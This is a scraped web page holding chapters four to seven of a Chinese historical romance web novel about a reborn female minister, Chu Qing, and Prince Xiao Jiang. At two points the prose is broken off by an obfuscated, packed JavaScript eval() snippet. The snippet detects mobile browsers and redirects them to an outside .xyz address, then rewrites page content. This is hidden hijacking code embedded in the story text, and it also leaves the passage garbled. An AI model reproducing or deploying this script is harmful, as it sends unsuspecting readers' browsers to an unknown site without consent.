楚卿的笑声引来了萧绛的目光，楚卿自知被发现，从拐角回廊后走了出来。 她也不觉得尴尬，反倒添油加醋道：“姑父啊，以后别乱碰东西。有些人矫情，怕脏。” 一句话，把两边都得罪了。 躲在暗处的叶安闻言，忍不住偷偷问叶危：“哥，楚家二小姐什么来头？她说话的语气，怎么这么耳熟呢？” 叶危皱了皱眉，似乎想起了什么，低声道：“嘘！上一个说王爷矫情的，坟头草已经两米高了。” 外面的风太大，站不住人，稍微站一会都手脚发僵。 萧绛既然来了琼英院，楚卿总不能在院子里招待他。虽然觉得不合规矩，但楚卿依旧把萧绛请进了自己的闺房。而高弘储也想跟进来，直接被楚卿关在了门外。 楚卿隔着门笑呵呵道：“姑父，姑母，不敢耽误您二位的时间，好走不送啊！” 被门砸在外面的高弘储明显啐了一声。楚卿仿佛丢完垃圾般拍了拍手，不紧不慢地转身，一回身，刚好撞上萧绛略带考究的目光。 萧绛：“关门谢客，与初次相见的男子同处一室。这就是楚家的规矩吗？” 楚卿故作不懂地摸了摸下巴，反手指向门外：“那我将他们请回来？” 萧绛顿时皱眉。 楚卿忍不住笑道：“王爷若真觉得你我孤男寡女共处一室不合规矩，大可把我叫到前院见面，何必跑大老远跑到我房里来？”她走上前，给萧绛到了一盏热茶，“王爷来将军府，是有事找我吧！” 萧绛方才提到楚二和他是初次见面，楚卿得知自己不必担心萧绛察觉她性情反常，言谈举止便越发肆无忌惮起来。 她见萧绛不答话，又笑着补了一句：“啧，来闺房找人。什么事啊，能明说吗？” 萧绛终于变脸，瞪了楚卿一眼。楚卿忙住嘴，心里却忍不住发笑。 平日里的萧绛总冷着脸，像块没有感情的木头。所以楚卿从前就特爱逗他，而且一逗一个准，不出三句话，她准能让萧绛生气。 楚卿总觉得，萧绛只有在生气的时候，身上才有些烟火气。 萧绛的母妃是胡人，他的容貌大半随母亲。眼窝深邃，瞳孔微棕，加之久病缠身，面色苍白，一眼看过去，难免令人觉得他本不该生在凡间。 旁人见了萧绛，大多会感慨“世上竟有如此谪仙般的人”。可楚卿却觉得，再好看的人，也终归是人，不会哭，不会笑，所有情绪都压在心里，活得多憋屈啊！ 但楚卿有分寸，开玩笑的诨话点到为止。她慢慢悠悠走到萧绛对面的位置上坐下，收敛神色，切入正题：“无事不登三宝殿。王爷有话，不妨直说！” 萧绛的指尖在茶盏边缘点了点，直截了当道：“你昨夜，去了秉烛书斋。” 楚卿暗自苦笑，萧绛突然造访的原因，还真如她所料。 不过半年没见，萧绛的脾气一点也没变。凡是他胸有成竹之事，一贯的不客气，让他直说，他竟一点也不藏着掖着。 楚卿方才已经想好了对策，所以面不改色地反问：“嗯，所以呢？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790853|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧绛质问：“楚二姑娘深夜离府，冒着风雪造访一家无人问津的书馆。如此不辞辛苦，总要有个理由。” 楚卿一向撒谎不打草稿。她拄着下巴，对上萧绛质疑的目光：“去读书。怎么，不行吗？” 萧绛不语。 楚卿又道：“王爷既然早已与我定下婚约，想必也应该知晓我在将军府的处境。我们楚家没有男人，这么多年来，一直是姑父掌家。姑父不准我外出、不准我交友，更不准我读书求学。可他那吃喝嫖赌样样精通的草包长子，都能花大把银子请先生来家里授课。我却连看书都要偷偷摸摸。王爷，你觉得是为什么？” 楚卿说的是楚二的处境，也是自己心中的不平。她目光灼灼地看着萧绛，沉声问：“就因为，我是女子吗？” 萧绛顿住动作，惊诧的目光一闪而过，转瞬，又恢复如常。 他拿起茶盏微抿一口，几乎不可察地轻叹：“若她还在，或许你们能合得来。” 楚卿没听清：“啊，能喝什么？” 萧绛嫌弃地瞥她一眼，把空茶盏推过去：“喝茶。” 楚卿也不知道自己在打岔，只好将萧绛的茶盏续满，不耐烦道：“王爷，您要是没别的事，不妨早点走吧！您金尊玉贵的，别在我这冻坏了。” 主要楚卿算着时辰，林七恐怕要回来了。萧绛再不走，真要出事了。 萧绛也看明白了，他这准王妃远没外人传得那么简单，秉烛书院一事，再追问也问不出什么，遂起身交代来意：“正月十五，皇后娘娘在宫中设宴，你随本王一同前往。” 楚卿：“必须去吗？” 萧绛：“到时会有人来接你。” 萧绛显然没有和楚卿商量的意思。楚卿也不自讨没趣，应下后，准备送萧绛出门。 二人方走到门口，窗外忽然传来“咚”的一声。 楚卿心道不好，是林七翻墙回来了。 萧绛已经顿住脚步，朝窗口看去。 楚卿忙遮住他的视线：“王爷，瞧什么呢？在姑娘家的闺房里东张西望，不合适吧？” 萧绛问：“什么声音？” 楚卿：“啊？有声音吗？什么声音？” 楚卿故作疑惑，愣了一会，见搪塞不过去，只好装作恍然大悟，忙竖起三根手指，义正辞严道：“王爷，您放心！我对您的仰慕之情那是天地可鉴，日月为证。那种背着未来夫君在闺房里藏人的勾当，我是肯定不会干的。这点，您大可放心。” 萧绛皱眉：“此地无银三百两。” 说着，径自绕开楚卿，大步朝窗前走去。 楚卿实在没办法了，如果现在萧绛开窗，准会发现躲在窗外的林七。她索性心一横，冲过去，一把拦在了萧绛的身前。 二人的距离不过咫尺之间，楚卿一抬头，刚好可以看见萧绛棱角分明的下颌。 楚卿心里算得明白，萧绛一向最讨厌别人碰他，只要她往萧绛身上一靠，保准气得他甩手就走。 可未等萧绛做出反应，楚卿倒是先愣住了。 她微微踮脚，贴着萧绛的胸口嗅了嗅：“你身上的味道，好熟悉啊！” 5. 第五章 一种淡淡的清苦气，混着些许酒香。 楚卿很确定自己闻到过这种味道，但具体在哪却想不起来了。 她还想再仔细嗅一嗅，萧绛却绕开她，径直走到窗前，一把推开了窗子。 窗外一片安静，只有一滩方从屋顶掉落的积雪。 楚卿有些意外，她原以为萧绛会直接气得甩袖走人。 现在看来，半年未见，她的老对头也不是一点没变，至少没有从前那么矫情了。 萧绛还站在窗口朝外观望，楚卿便跟过去凑到他身旁，继续气他：“王爷，看什么呢？有美景，还是有美人啊？” 楚卿特意又朝萧绛靠近几分，几乎就半靠在他的肩膀上。 这回萧绛是真的恼了。 他蹙眉呵斥：“不成体统。” 说完，直接甩手走了。 楚卿终于松下一口气，背靠着窗檐，朝屋顶唤了一声：“小七，下来吧！” 屋顶传来几声轻微的踩瓦声，林七一跃而下，落在了窗边：“大人，属下看见叶安了。” 楚卿点头：“嗯，祁王来了，进来说吧！” 林七从窗户利落地翻进来，手里还提着两坛酒。如果方才不是突然撞见叶安，躲起来的时候怕磕坏酒坛，凭她的轻功，绝不会踩落屋顶的积雪，继而闹出那么大的动静。 楚卿问：“叶安没发现你吧？” 林七微微摇头：“没有，大人放心。” 楚卿注意到林七手里的酒坛，目光顿时亮了：“松醪酒！你去杜康酒馆了？” 林七嗯了一声，走到一旁取来茶盏，帮楚卿倒了一杯酒。 楚卿捧着茶盏小心翼翼地品了一口，大为满足：“嘶，还是当初的味道，一点也没变。” 她最喜欢喝松醪酒，尤其是杜康酒馆的松醪酒。从前在朝为官时，只要闲下来，她就会拖着林七陪她去杜康酒馆小酌一口。但松醪酒太烈，喝多了伤身体，所以她每次只饮一杯，喝完就回家舒舒服服地睡觉。 松醪酒的酒香很是清冽，像是埋在冰雪下的松香，微微品一口，会令人如临风雪之间，却不觉寒冷，只觉醒神。 楚卿又端起茶盏细细品了一口，忽然愣住了…… 等会，方才萧绛身上的酒香，好像正是松醪酒的味道，难怪她会觉得熟悉。 可楚卿更困惑了。不对啊，萧绛不是从来不喝酒吗？ 早前她还因为萧绛拒绝喝她递到面前的松醪酒，骂过萧绛没品位。可方才萧绛身上那么明显的酒香，显然是前一晚喝了不少松醪酒，不然不会已经到了今天下午酒气还不散。 楚卿撇撇嘴，她这老对头还真是越来越难懂了。 林七站在一旁，担心道：“大人，祁王怎么来了？” 楚卿解释：“楚二和祁王有婚约，我也才刚知道。八成是祁王的人发现我去过秉烛书斋，怀疑我和楚钦有关，亲自来兴师问罪了。” 楚卿放下手里的茶盏，面色严肃起来：“以我对祁王的了解，没有百分百把握的事情，他不会轻易下定论。所以你我暂时留在将军府，问题应该不大。但楚二和祁王的婚约是圣上钦赐，退婚一事，恐怕很麻烦。” 想到此处，楚卿又吩咐：“小七，你去趟海云端，帮我约苏姐姐在添香茶楼见面。 “今晚就见！” 前脚，林七出了霜颐院。后脚，柳嬷嬷又来了。 方才柳嬷嬷找楚卿去蒋氏那挑首饰，被突然造访的祁王横插一脚，眼下见祁王走了，忙又过来喊人。 楚卿带上玉竹，跟着柳嬷嬷到霜颐院时，蒋氏正坐在堂前挑首饰。霜颐院的丫鬟们站成一排，手里捧着摆着首饰盒的木盘，正等着楚卿来挑选。 蒋氏见楚卿来了，忙招呼她过来，开口第一句却是：“听柳嬷嬷说，你又和西院的人起争执了？” 楚卿立刻看向柳嬷嬷：“嬷嬷，你告状！” 蒋氏在楚卿的手上拍了一下：“你少吓唬柳嬷嬷。” 楚卿辩解：“我没和西院的人争执。我只是没让他们进我的房间而已。就算是我的姑父，那也是男子。我不让他进我的闺房，不是很正常嘛！” 蒋氏就知道说不过她，又问：“那祁王呢？他就不是男子了？你们可还没成婚呢，孤男寡女，共处一室，像什么样子？” 楚卿反驳：“那我总不能在院子里招待人家吧，多冷啊！” 蒋氏不由失笑：“你啊，不知羞！还没嫁过去，就开始心疼人了。” 楚卿：？？？ 她是说自己怕冷来着。 楚卿只想赶紧把这个话题糊弄过去，便没解释，开始到丫鬟那挑首饰。 蒋氏走到她身边，惭愧道：“小二，你爹是个粗人，从前也没送过娘什么贵重的礼物。这些首饰，大多是娘从蒋家带来的嫁妆，不算贵重，但总归是个心意，你别嫌弃。” 蒋氏的娘家远在泸州，家境一般，不算太富裕。楚卿也从西院人的闲言碎语中听到过一些蒋氏的出身，她看得出来，这些首饰已经是蒋氏全部的积蓄了。 楚卿离家的时候才九岁，后来四处闯荡，为保自身安全，一直女扮男装，几乎没接触过首饰。再后来入仕，更是终年男装加身。 这些女儿家的东西，楚卿其实不懂。 但她依旧拿起一支簪子，装作十分喜欢的样子在头上比了比，又反手插在发髻上，对着一旁丫鬟手里的镜子照了照，笑道：“嗯，好看，果然人生得美，戴什么都好看。” 蒋氏失笑，上前把楚卿头上的簪子取下来，无奈笑道：“你啊，这个不是这么戴的。” 说完，又给楚卿好好戴上。 蒋氏给楚卿戴簪子的时候，楚卿就借着铜镜打量她。身后的女人眉眼温柔如水，即使初露老态，却依旧能从眼角的细纹下看见年轻时的风韵。 她忍不住转过身，拿起一支珠花，趁蒋氏没注意，戴在了她的耳侧。 蒋氏忙要取下来，楚卿拦住她：“拿下来干嘛，好看！” 蒋氏道：“娘都一把年纪了，哪还能戴这个？” 楚卿不服：“谁说年纪大就不能好好打扮了，女人啊，只要想打扮，随时都能打扮。” 楚卿眼底的光太亮，蒋氏看过去，只觉得晃眼。她低下头，叹道：“你爹都走了多少年了，娘打扮，又给谁看呢？” 楚卿几乎没有思考：“当然是给自己看了。谁说女子生在世上，一定要像园子里花一样，只给旁人观赏？只要自己高兴，管别人怎么看呢。” 蒋氏怔在原地，久久说不出话来。她活了近四十年，从来没想过还有这样的答案。 她沉默良久，看向楚卿，不免困惑：“小二，我觉得你好像和从前不一样了。” 楚卿心虚，下意识揉了揉耳垂，避开蒋氏的目光：“是吗？可能是差点死过一次，想通了吧。” 蒋氏没多想，拍了拍楚卿的手，欣慰道：“娘之前还担心你日后嫁到祁王府，住不习惯，会受委屈。现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790854|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在看来，倒是娘多虑了。” 一提起和祁王的婚事，楚卿就一个头两个大。她忙岔开话题：“娘，别说我了。说说你呗！以后我要是真嫁人了，你打算怎么办？” 蒋氏叹了一声：“我这把年纪，还有什么好打算的。日子捱一天是一天，这么多年不也过来了。” 可楚卿却不这么想，她问：“娘，你就没打算再嫁一次吗？” 楚卿的话太出格，不仅惊到了蒋氏，连一旁端首饰的丫鬟们都惊了一跳。 可楚卿说这话并不是临时起意，这件事，她已经考虑很久了。 在楚二为数不多残存的记忆里，只有一件事特别清晰。 蒋氏在嫁入楚家前，曾有一位情投意合的竹马。那人姓沈，出身杏林世家。蒋氏嫁到京城后，沈郎中也背井离乡远赴京城，在晟都开起一家杏林医馆，行医度日。 在楚二的记忆里，这位沈郎中是位典型的痴情郎。蒋氏成婚多年，他却至今未娶。后来镇北将军战死，沈郎中虽有求娶之心，却因为蒋氏是英雄遗孀，迫于世俗压力，始终没敢迈出这一步。 如果真如楚二记忆中所想，那这位沈郎中的确是蒋氏的好归宿。 楚卿深知自己就算没有和祁王的婚约，也早晚会离开将军府，不可能照顾蒋氏一辈子。若是到时只有蒋氏一人住在东院，西院的人才真要反了天。 楚卿还是希望能在她离开将军府前，为蒋氏谋好出路。而这位沈郎中，的确是位不二人选。 只是蒋氏心中如何打算，楚卿还得先弄清楚。 眼下刚好谈到这，楚卿才开口问起此事。可她完全没料到，蒋氏几乎没有一点考虑，甚至没等楚卿提起沈郎中，就气得直接扶着胸口走了，仿佛受了多大的惊吓。 楚卿完全不能理解，又没让她嫁给萧绛，至于吓成这样吗？ 而那头蒋氏已经气得直接出了霜颐院，全然忘了她才是霜颐院的主人。她大口大口喘着粗气，心想，这丫头是疯了，一定是疯了！ 她忙又喊人：“柳嬷嬷，去请个郎中来给二小姐瞧瞧，怕是前些日子烧坏了脑袋，净说些胡话！” 还站在客堂里的楚卿远远听见蒋氏的话，深感委屈，无辜地看向玉竹：“我说错什么了吗？” 玉竹欠身：“小姐好好休息，奴婢去请郎中。” 楚卿：“……” …… 玉竹这丫头实在，说去请郎中，还真把郎中请回来了。 只可惜玉竹带着郎中风风火火跑进琼英院时，楚卿已经和林七坐着马车出府，去了城北的添香茶楼。 林七提前订了二层的雅间。二人抵达时，苏兰桡还没到。 楚卿点了一壶庐山云雾，坐在雅间的暖阁里等人。可等了快半个时辰，天都暗了，苏兰桡还是没来。 她忍不住问：“小七，苏姐姐今晚有事吗？” 林七道：“苏坊主下午还约了一位客人，但她说不会耽误和大人见面。这个时辰，应该快到了。” 楚卿应了一声 ，又开始百无聊赖地喝茶。 庐山云雾不是松醪酒，楚卿喝不起劲。林七又话少，同她聊不起来。 楚卿实在闲得无聊，就自顾自感慨：“人情冷暖，世态炎凉啊！这才不过半年没见，就请不动苏大坊主咯！” 话音未落，暖阁外传来一声怒骂：“楚寻卿，你少在那阴阳怪气！你装死失踪半年我都等了，不过让你等我半个时辰，你有什么好不乐意的？” 6. 第六章 楚卿在朝为官时取了假名，姓楚，名钦，字寻卿。 楚寻卿这个称呼，苏兰桡只有在生气的时候才会这么叫她。 楚卿承认自己嘴欠，但苏兰桡绝不会因为那句“人情冷暖，世态炎凉”就同她发脾气。她和苏兰桡多少年的交情，这点玩笑还开得起。 很显然，苏兰桡生气，是因为误会她在半年前葬身火海是假死，还误会她故意失踪半年没有联系她。 楚卿：“窦娥都没有我冤。” 添香茶楼的雅间里都有单独隔出来的暖阁，暖阁和雅间其他区域只隔着一道屏障。暖阁里的人说话，暖阁外可以听得一清二楚。 但雅间是单独的客房，隔音极好，即使像苏兰桡方才那般怒喊，其他房间和走廊里的外人也不会听见。 楚卿不由暗自感叹，她家小七还真有先见之明，知道她准要挨骂，特意找来一间能遮住苏兰桡大嗓门的地方。 不然苏兰桡那一声“楚寻卿”喊出去，不出半个时辰，前礼部尚书诈尸的消息就能传遍整座晟都城。 苏兰桡依旧站在暖阁外。她心里窝着火，不想进去见楚卿。 她太了解楚卿了，一条三寸不烂之舌，黑的都能说成白的。明明是只狡猾的狐狸，却偏偏长了一张人畜无害的脸。苏兰桡只要看见那张脸，就觉得楚卿说什么都是真的。 苏兰桡从前吃过楚卿好几次这样的亏，每次楚卿做冒险的事情先斩后奏，她都要和楚卿大吵一架。多少年了，她就没吵赢过。 她几乎可以确定，她现在前脚踏进暖阁，楚卿后脚就能给她忽悠得服服帖帖。所以要理论，必须隔着这道门，不然，她绝对逼不出楚卿的实话。 而且，这半年来她是真的以为楚卿死了。 她怕她一开门再见到故人，什么狠话都说不出来。她也怕一开门，发现里面的人根本不是楚卿，又空欢喜一场。 而楚卿见苏兰桡迟迟不进来，只好自己起身去开门。 可她走到门口，苏兰桡又急道：“你站那，别动。” 楚卿愣住。 苏兰桡道：“你就站那解释，说不出个所以然来，今天别想见我。” 楚卿忽然觉得，现在的情况，大概就是自己之前天天胡说八道造的孽，如今要还债了。 其实她早在第一次托林七给苏兰桡送信时，就解释了自己死而复生的前因后果。可眼下的情况，苏兰桡显然完全没信。 楚卿：“……你不亲眼看见我，我说了你也不会信的。” 苏兰桡：“你还想诓我？” 楚卿：“真没骗你，不信你问小七。” 苏兰桡：“你还好意思提小七，你撒谎就算了，还忽悠小七帮你打配合了。楚寻卿，你还有没有底线了？” 楚卿实在没法子了，她也顾不上正在气头上的苏大坊主再见她，会不会直接给她一巴掌，上前一把将暖阁的小门拉开了。 一条门槛分开暖阁内外的二人。 苏兰桡站在暖阁外，一袭紫衣明艳灼眼，一如既往的风情万种，除了瘦了些、憔悴了些，和从前没有太大区别。 可楚卿却完全换了一副模样。从前眉目英气，意气风发的楚大人竟成了容貌温柔、身量清瘦的小姑娘。 苏兰桡在门打开的一瞬，仿佛被人直接当头敲了一棒，怔住许久才回过神来。 楚卿摊了摊手：“这回你信了？” 苏兰桡沉默，颤抖，然后就哭了。 豆大的泪珠决堤一般涌出来，楚卿纵是有忽悠鬼神的本事也不会说话了。 “你哭什么啊？” 楚卿完全慌了，她最怕看人哭了。 小孩子哭她还能上去凶一句“闭嘴”，可一贯泼辣的苏兰桡哭了，她除了拼命塞手帕，什么都不会做了。 苏兰桡不停抽泣，楚卿手忙脚乱地安慰：“别哭了，我不是还活着么？你有这眼泪，去年我葬礼的时候哭多好啊！要不你先憋一憋，等我哪天真死了，你再痛痛快快、不管不顾地大哭一场，你看这样……” 楚卿话还没说完，就被苏兰桡狠狠拧了一把：“好好的楚卿，这么偏偏长了张嘴！” 楚卿见苏兰桡似乎缓和许多，幽幽叹了一声：“对不住啊，让你担心了。” 苏兰桡吸了吸鼻子，抹干眼泪坐正：“你又没错，为什么要道歉？该道歉的是向你下黑手的人。” 楚卿听林七说过，苏兰桡这半年一直在查去年中秋大火的起因。从前苏兰桡从来不会亲自接待客人，可近半年来，凡是可能和那场大火有关的人，苏兰桡都会亲自接待，不肯放过一丝一毫的线索。 楚卿始终觉得，她从前自负进退有度，无愧于心，可对苏兰桡，对林七，她是有亏欠的。 苏兰桡的情绪平稳后，楚卿将自己在楚家近来的经历大概讲给苏兰桡。二人交谈间，免不得又提到了祁王萧绛。 楚卿道：“我在楚家听到了一些风声，据说祁王最近混得风生水起，已经可以和三皇子分庭抗礼了？” 苏兰桡叹道：“你不在这半年，祁王忽然得势，不仅平了北疆的兵变，还拿到了北林军的虎符。你们这些朝堂上的纷争我不太懂，但现在京城的局势的确变了天。你回来了，一定要万事谨慎。” 楚卿应下，边思量，边喝了口茶。 其实萧绛会一朝得势，她一点也不觉得奇怪。早在京城中人觉得萧绛只是个胸无城府的病秧子时，楚卿就已经看出萧绛绝非等闲之辈。 只是萧绛起势的时机太巧，刚好在楚卿葬身火海后的这半年。 楚卿不免生疑，忍不住又问苏兰桡：“你说我是不是真和萧绛犯冲？怎么我一死，他就发达了呢？” 苏兰桡无语：“你不觉得金庆宫那场大火，正是他萧绛放的吗？” 楚卿：“不会吧！” 她还真没怀疑过萧绛。 虽然萧绛是她从前的头号死对头，但他们俩本质上没有太大冲突。他们俩不对付的主要原因，是萧绛知晓楚卿女子的身份，而楚卿也看穿萧绛假病蛰伏一事。 俩人手里都握着彼此的把柄，才处处给对方找不自在。 说白了，还是太闲。 当然，这只是楚卿没有怀疑萧绛的一小部分原因。 最主要的原因还是因为楚卿了解萧绛的手腕。在宫宴上放火太招摇，也太直接，不像萧绛的作风。如果是萧绛想要除掉她，她不会死得那么干脆。 不过，这不代表楚卿可以完全信任萧绛。楚卿总觉得，萧绛和楚二的婚事，藏着些不为外人所知的猫腻。 她又问苏兰桡：“你听说楚二和萧绛的婚约了吗？” 苏兰桡适时提醒：“现在，是你和萧绛的婚约。” 楚卿：“……” 她就不该提这茬。 苏兰桡第一次见楚卿发愁，大为爽快，喜滋滋品了一口庐山云雾，揶揄道：“我看你俩挺般配的，凑合凑合过吧，省得出去祸害好人。” 楚卿本想损回去，可想起苏兰桡方才哭得梨花带雨，又乖乖把话收了回来。 她继续说正事：“我是觉得，既然萧绛如今正得势，想要娶王妃，自然有大把的官家贵女可以选。楚二虽为镇南将军府的嫡女，但楚家落魄已不是一年两年。将军府唯一在朝为官的姑父高弘储，还是个一顶一的大草包。 “我实在想不明白，有这样的一大家子做拖累，萧绛为什么会选楚二做他的祁王妃。” 萧绛的心思，一向让人猜不明白。楚卿猜 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回府路上，楚卿坐在马车里，又随手翻开了那本记录流言的书册。 她喝了不少酒，夜里灯暗，她看不真切，隐隐约约只在翻开的书页上看见一句话——祁王萧绛，断袖。 楚卿一把合上书册，靠着马车倒头就睡了。 她一定是醉了，出现幻觉了，祁王萧绛怎么会是断袖呢？ 而城南祁王府内，北书房的灯还亮着。 萧绛坐在书案前，目光深沉地打量着摆着书案上的画像。 画中人一袭藏蓝官服，眸光清朗如沉星月。可英朗的眉宇间没有属于男子的硬气，反倒多了几分女儿家的温柔。 萧绛只是默默看着，没有伸手触碰。 门外传来叶安的叩门声，萧绛将画像收回书架，应了一声：“进来。” 叶安端着一碗汤药走进来，苦口婆心地劝道：“王爷，把药喝了吧！太医都说您的咳疾越来越重，再不按时喝药，该落病根了。” 萧绛道：“放下吧！” 叶安放下药碗，却没走，他想看着王爷喝完再走。 萧绛看穿他的心思，淡淡问：“我是主子，还是你是主子？” 叶安低头，小声嘀咕：“没见过这么不惜命的主子。” 萧绛：“你说什么？” 叶安抿了抿嘴：“没什么，王爷您快把药喝了吧！喝完属下也好把碗拿走。” 萧绛的心思还在画上，只想尽快把叶安糊弄出去，所以难得痛快喝了一次药。 可药汁到了唇齿之间，萧绛才察觉不对。这药不是他往常喝的药，远比从前的药苦很多。 萧绛不悦：“换药了？” 叶安知道撒谎瞒不住，索性说了实话：“这药是楚姑娘遣人送来的，说白天看王爷一直咳嗽，便派人去抓了药。药方是她自己配的。属下派人看过了，确实是治疗咳疾的方子，而且疗效很好。” 萧绛皱了皱眉，将药碗放下来，没有再喝的意思。 叶安知道自家主子一向多疑，便也没再多劝，小心翼翼地问：“王爷，那属下走了？” 萧绛默许。 叶安又问：“那药……” 萧绛打量着药碗，沉默一瞬，道：“放着吧！” 叶安如蒙大赦，抱着托盘灰溜溜地走了。 而萧绛看着药碗，不由想起了白天的事。 那时楚卿几乎贴在他的胸口，说他身上的味道很熟悉。本是带着些许暧昧的话语，楚卿说出来却只有疑惑和惊讶。 萧绛回想起当时的感受，也觉得奇怪。 当时楚卿靠得那么近，他竟完全不觉得讨厌。 7. 第七章 大年初三，赤狗日。 每逢这日，晟都城内的商铺都会关门谢客，百姓们也会留在家中暂不外出。老一辈都说这日不吉利，外出容易撞上凶事。 楚卿倒不在乎这些，但她今天依旧没往外跑。 昨天夜里回来得晚，她又饮了酒，从苏兰桡那拿回来的手记还没来得及细看。她打算今天留在房里熟悉当下京城的局势，也思考思考日后如何名正言顺地离开将军府。 距离去年中秋已经过去近半年，半年的时间足以让京城的局势发生天翻地覆的变化。楚卿对京城局势的把握已大不如从前，她必须尽快把错过的信息补回来。 林七一早起来给楚卿煮了醒酒汤，又切好一碟苦瓜，一起端进了楚卿的屋子。 办公的时候吃苦瓜，这是楚卿的怪癖。 从前在朝为官时，楚卿白日忙着礼部的事，晚上还得去秉烛书斋给女学生们授课，常年睡不好，容易没精神。尤其一到午间，最易犯困。 所以每次出现这种情况，楚卿就让林七给她切一盘生苦瓜，困了含一片，久而久之，也就成了习惯。 林七将醒酒汤和苦瓜一起端进来的时候，楚卿还很诧异，京城里卖苦瓜的商户很少，将军府里也没人吃这东西。她抬眸问林七：“你一早出去买的吗？” 林七道：“昨天去买酒的时候看见了，顺便买的。” 因为担心楚卿太久没吃，已经不适应生苦瓜的味道，林七还特地将苦瓜煮过，清涩的苦味因此散了不少。 可楚卿习惯性夹一大片含在嘴里，仍被苦得皱眉。她忙草草咀嚼几下，就着醒酒汤咽了下去。 醒酒汤里加了陈皮，味道微甜，能冲淡久久不散的苦味。楚卿看着手边一盘绿油油的苦瓜片，暗自苦笑，看来楚二的身体想要适应她的怪癖，任重而道远了。 “以后还是不麻烦准备这些了。”楚卿道，“礼部有不少人知晓我有吃苦瓜的习惯，万一被人看见，难免令人生疑。现在情况特殊，还是谨慎点好。” 林七道是，待楚卿喝完醒酒汤，便端着空碗离开。 楚卿在屋子里梳理朝局，心思全落在这半年发生的大大小小的事情上，全然没注意到屋外又落起了雪。 祁王府后院的梅花零零散散开了几朵，北风裹着大雪吹过，又全吹落在地上。星星点点的梅花落在雪上，宛若溅落的斑斑血点。 萧绛坐在观雪亭里，目光沉沉地望着漫天飞雪，恍然忆起五年前他和楚钦初逢那日，也是这样的大雪天。 那日，他乘着马车路过添香茶楼，外面忽然飘起雪。他掀开车帘朝外望去，便见风雪吹开茶楼二层雅间的小窗。 来关窗的人和他隔着风雪相望，眸中清光灼若烈火，足以融尽一冬风雪。 后来，过了许久，萧绛才得知茶楼上的人是那年的新科状元，一位乡野出身、无权无势的穷书生。 寒风在耳畔呼啸而过，像是低哑的悲鸣。萧绛望着风雪静静出神，连自己都没察觉地轻叹了一声。 叶安给他取来狐裘大氅，劝道：“王爷，外面风寒，回屋吧！” 萧绛才将大氅披上，起身回了北书房。 今天是大年初三，黄历上说不宜出门。叶安一早把外出的活推给兄长叶危，独自一人留在祁王府看着他家王爷。 但萧绛嫌他吵，不许他进北书房，他只好一个人坐在北书房的屋顶数雪花。 祁王府戒备森严，叶安倒不担心有人入府行刺。他守在北书房的目的是盯着自家王爷，谨防他再不顾身体肆意酗酒。 而兄长叶安从外面回来时，手里刚好拎着一坛酒。 叶安忙从屋顶跳下来，一把夺走叶危手里的酒坛：“大哥，我才刚把王爷存的酒都丢干净，你怎么又给王爷卖酒？” 叶危：“不是我，是监察司的陆大人。” “陆铭予？”叶安不屑，“他不是最看不上受贿送礼那套吗，怎么还亲自送起礼了？”叶安在酒坛上仔细打量一眼，“哟，还是鹿头酒呢！真舍得啊！” 叶危懒得跟他解释，径直上前叩响了北书房的门。 萧绛坐在北书房里，正在修订半年前礼部同邻国金敕一族签订的瀚水盟约。如果没有去年那场中秋大火，此事本该由已逝世半年的前礼部尚书楚钦亲自负责。 但楚钦已死，瀚水盟约的签订却不能长久耽搁。所以此事历经一番周折，最后辗转落到了萧绛的手里。 当然，萧绛接手此事还有另外的目的——调查楚钦的死因。 去年的中秋大火来得蹊跷，除了几名宫人，只有楚钦一人葬身火海。明眼人一瞧就知道这场火是专为楚钦而放。 那时楚钦虽为朝中新贵，但因为她处事周到，为人谦和，几乎从未和任何人结怨。有人如此大费周章地放火杀她，不可能只是因为她这个人。 而楚钦的心思表面在礼部，实际上大多精力都投在了暗中筹办的女子书院上。这件事虽然只有萧绛知道，但楚钦不涉党争是举朝上下都知晓的情况。楚钦的死，也不太可能是朝中党争的结果。 所以萧绛很快注意到了瀚水盟约。 去年金敕一族向大靖求和，是楚钦与金敕使臣谈判，最后拟定了这份瀚水盟约。按瀚水盟约所拟，正式签订以后，大靖与金敕一族将百年不起战事。 这件事对于百姓来说是好事，但战事一停，总有人会失去用武之地。朝中暗流涌动，总有人不希望这纸合约签订。所以萧绛推测，楚钦的死，或许和瀚水盟约有关。 正是因此，他才会经过多番周折，甚至不惜放弃多年敛藏锋芒布下的暗局，亲自走到明面上，揽下瀚水盟约的事情。 只要有人意图阻止瀚水盟约的签订，萧绛就有机会顺着一条线查处谋害楚钦的人。 眼下算着日子，距离瀚水盟约签约大典正式举行，也不过只剩下一个月的时间。如果楚钦还在，此时应该正为此事忙得茶饭不思，终日衔着苦瓜度日吧？ 想到此处，萧绛的目光不由暗了暗。门外传来叶危的叩门声，萧绛的神色又恢复淡漠，沉声道：“进来。” 叶危遂推门而入，启禀道：“王爷，昨夜吏部主事高弘储深夜离府，去了监察司司丞陆大人的私宅。” 萧绛没有应声，他觉得“高弘储”这个名字有点耳熟。 叶安也跟进来，适时提醒道：“高弘储，楚二的姑父。” 萧绛这才抬头：“去做什么？” 叶危回禀道：“去检举吏部尚书赵邴贪腐一事。陆大人还问王爷，是否需要借此机会开始彻查吏部。” 萧绛合起手中的瀚水盟约，目光微冷：“ 